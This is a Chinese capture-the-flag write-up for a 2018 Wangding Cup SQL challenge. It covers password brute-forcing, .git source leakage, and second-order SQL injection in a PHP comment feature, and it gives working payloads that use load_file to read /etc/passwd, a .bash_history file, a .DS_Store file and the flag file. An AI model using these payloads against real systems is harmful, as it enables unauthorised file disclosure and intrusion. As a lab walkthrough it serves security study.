题目来源:网鼎杯 2018
题目描述:SQL
一、密码爆破
进入场景后,点击发帖,输入内容提交后,系统返回登录页面
可以看到账号框默认账号为:zhangwei 密码为zhangwei***
由于仅密码的后三位不知道,我们想到了爆破。
爆破出来的密码为zhangwei666
二、.git泄漏
尝试访问http://220.249.52.133:35828/.git/,系统返回无权限,说明存在.git泄漏。
使用如下命令下载git源码
python GitHack.py http://220.249.52.133:35828/.git/
发现write_do.php,内容如下
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': break; case 'comment': break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
这个代码应该不全,这里附网友找到的完整代码(不知道是怎么找到的)
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
三、SQL二次注入
登录成功后看到可以发帖加上题目提示sql,猜测应该是sql注入。再结合write_do.php的代码审计,发现存在明显的二次注入。
comment模块中的$category
是直接从board中取出数据,没有过滤就直接放入sql语句中了~~
其中我们$category
和$content
都可控~~
这道题目有个坑,大家需要注意一下
$sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'";
这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接。
我们拼接的语句如下
$sql = "insert into comment set category = '123',content=user(),/*', content = '*/#', bo_id = '$bo_id'";
我们学习一下师傅们的思路
1、首先我们先读取/etc/passwd,就可以得知www用户的目录。payload如下
category为: 123',content=(select( load_file('/etc/passwd'))),/*
留言内容为:*/#
2、然后读history文件:/home/www/.bash_history,可以看到网站管理员的历史命令。payload如下
category为: 123',content=(select( load_file('/home/www/.bash_history'))),/*
留言内容为:*/#
分析上图中的历史命令
- 先在/tmp目录下解压压缩包
- 然后删除压缩包
- 再将html目录复制到/var/www/目录下
- 切换到/var/www/html,然后删除.DS_Store,启动apache
我们发现,管理员仅删除了/var/www/html目录下的.DS_Store文件,但是并没有删除/tmp/html目录下的原始文件,所以我们可以读取此文件。
3、读取.DS_Store文件内容,查找flag文件名。payload如下
category为: 123',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
留言内容为:*/#
这儿由于文件太大,不能完全显示,所以我们用十六进制编码,然后找个网站解码就行了。
解码后发现文件名flag_8946e1ff1ee3e40f.php
4、最后我们读取此文件即可得到flag。payload如下
category为: 123',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/* 留言内容为:*/#
参考:
https://blog.csdn.net/weixin_43093631/article/details/106650625
https://blog.csdn.net/a3320315/article/details/104216070